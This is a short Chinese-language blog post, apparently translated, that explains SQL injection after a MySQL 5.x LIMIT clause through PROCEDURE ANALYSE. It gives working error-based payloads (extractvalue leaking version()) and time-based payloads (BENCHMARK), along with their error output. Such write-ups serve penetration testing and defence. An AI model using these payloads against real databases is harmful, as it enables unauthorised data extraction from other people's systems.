MySQL 在 LIMIT 條件後注入

from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

此方法適用於MySQL 5.x中，在limit語句後面的注入
例如：

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr …]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], … [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], …]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE ‘file_name’ export_options
      | INTO DUMPFILE ‘file_name’
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT後面能夠跟兩個函數，PROCEDURE 和 INTO，INTO除非有寫入shell的權限，不然是沒法利用的，那麼使用PROCEDURE函數可否注入呢？

Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY000): Can’t use ORDER clause with this procedure

ANALYSE能夠有兩個參數：

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY000): Can’t use ORDER clause with this procedure

看起來並非很好，繼續嘗試：
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
可是當即返回了一個錯誤信息：
ERROR 1108 (HY000): Incorrect parameters to procedure ‘analyse’
sleep函數確定沒有執行，可是最終我仍是找到了能夠攻擊的方式：
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
若是不支持報錯注入的話，還能夠基於時間注入：
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行，須要用BENCHMARK代替。

PS：測試成功，無圖無真相：